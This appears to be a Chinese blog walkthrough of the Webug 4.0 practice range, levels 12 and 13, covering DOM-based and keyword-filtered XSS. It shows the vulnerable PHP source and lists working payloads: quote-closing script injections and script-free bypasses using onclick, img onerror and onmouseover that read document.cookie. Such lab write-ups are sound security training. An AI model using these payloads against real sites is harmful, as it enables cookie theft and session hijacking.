Webug4.0靶场通关笔记09- 第12关DOM型XSS和第13关过滤型XSS

目录

第12关 DOM型XSS

1.DOM型XSS

2.打开靶场

3.源码分析

4.渗透实战

(1)闭合方法1

(2)闭合方法2

第13关 过滤型XSS

1.打开靶场

2.源码分析

3.渗透实战

(1)渗透方法1

(2)渗透方法2

(3)渗透方法3


本文通过《webug靶场第12关 DOM型XSS和13关 过滤型XSS》来进行渗透实战。

第12关 DOM型XSS

1.DOM型XSS

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情,无法通过WAF防护

2.打开靶场

http://192.168.71.129:8006/control/xss/dom_xss.php

随手输入hello,在页面中邮件元素,搜索框中输入hello查询,找到如下内容

 将这段内容打印出来,如下所示尝试构造闭合

<input name="search" value="hello" required="" type="text">

 value输入参数的闭合方式为前面为">,右面闭合方式为"<如下所示

<input name="search" value="hello" required="" type="text">

 故而对这个注入语句 <script>alert(document.cookie)</script>构造闭合

(1)闭合方法1

" > <script>alert(document.cookie)</script>#

(2)闭合方法2

" > <script>alert(document.cookie)</script><name="

3.源码分析

如下所示,根据源码如果search传入的内容包含获取cookie的alert函数调用的XSS注入语句,即会返回flag

<?php


require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
setcookie("flag", "", time() - 1);
if (isset($_POST["search"])) {
    if (!empty($_POST['search'])) {
        if (strstr($_POST['search'], 'alert')){
            $sql = "SELECT * FROM env_list WHERE envName LIKE '%DOM型xss%'";
            $res = $dbConnect->query($sql);
            $row = mysqli_fetch_assoc($res);
            setcookie("flag", $row['envFlag']);
        }
    }
}
require_once TPMELATE."/dom_xss.html";


4.渗透实战

(1)闭合方法1

构造注入命令

" > <script>alert(document.cookie)</script>#

输入命令到search框内

 如下所示,渗透成功g

(2)闭合方法2

构造注入命令

" > <script>alert(document.cookie)</script><name="

输入命令到search框内

 如下所示,渗透成功

第13关 过滤型XSS

1.打开靶场

http://192.168.71.129:8006/control/sqlinject/filter_injection.php

修改id内容为hello

很明显漏洞与反射型XSS漏洞类型,很可能有XSS注入漏洞,接下来尝试注入第13关卡的方式注入

id=<script>alert(document.cookie)</script>

 不过却渗透时吧,提示请不要包含恶意函数,看来有关键字过滤。

2.源码分析

如下所示,输入参数为id,当参数包含alert的XSS注入语句时,将flag放入到cookie中。如下所示对参数id进行小写处理,并且包含script关键字时被过滤

<?php

require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
setcookie("flag", "", time() - 1);
if (isset($_GET["id"])) {
    if (!empty($_GET["id"])) {
        $id = strtolower($_GET['id']);
        if (strstr($id, 'script')) {
            header("Content-type:text/html;charset=utf-8");
            echo "<script>alert('请不要包含恶意函数')</script>";exit();
        }elseif (strstr($_GET['id'], 'alert')){
            $sql = "SELECT * FROM env_list WHERE id = 9";
            $res = $dbConnect->query($sql);
            $row = mysqli_fetch_assoc($res);
            setcookie("flag", $row['envFlag']);
        }

    }
}
require_once TPMELATE."/xss_1.html";


输入参数为id,根据提示应该构造如下注入命令

<script>alert(document.cookie)</script>

很明显因为如下代码会注入失败

if (strstr($id, 'script')) {
            header("Content-type:text/html;charset=utf-8");
            echo "<script>alert('请不要包含恶意函数')</script>";exit();
        }

通常来将script关键字被过滤,会考虑大小写绕过,比如如下方式

<Script>alert(document.cookie)</sCript>

不过因为如下源码,将参数id的内容小写后再过滤

$id = strtolower($_GET['id']);

 故而也会渗透失败

故而在渗透过程中,需要考虑使用无script关键字的XSS注入语句

$id = strtolower($_GET['id']);

3.渗透实战

(1)渗透方法1

考虑使用无script关键字的XSS注入语句,那么我们使用onclick的XSS脚本,如下所示

<li/onclick=alert(document.cookie)>ljn</li>

完整url如下所示

http://192.168.71.1/webug4/control/xss/filter_xss.php?id=<li/onclick=alert(document.cookie)>ljn</li>

如下点击ljn,注入成功

(2)渗透方法2

利用img标签和onerror配合来进行绕过,由于页面不存在路径为/1的图片,因此直接加载会出错,触发onerror并且执行代码

<img src=1 onerror=alert(document.cookie)>

注入语句 如下所示,

http://192.168.71.129:8006/control/xss/filter_xss.php?id=<img src=x onerror=alert(document.cookie)>

渗透获取到flag

(3)渗透方法3

利用img标签和onmouseover配合来进行绕过

<img src=x onmouseover=alert(document.cookie)>

注入语句 如下所示,

http://192.168.71.129:8006/control/xss/filter_xss.php?id=<img src=x onmouseover=alert(document.cookie)>

将鼠标移动到图标处

如下所示弹出XSS注入命令,获取到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值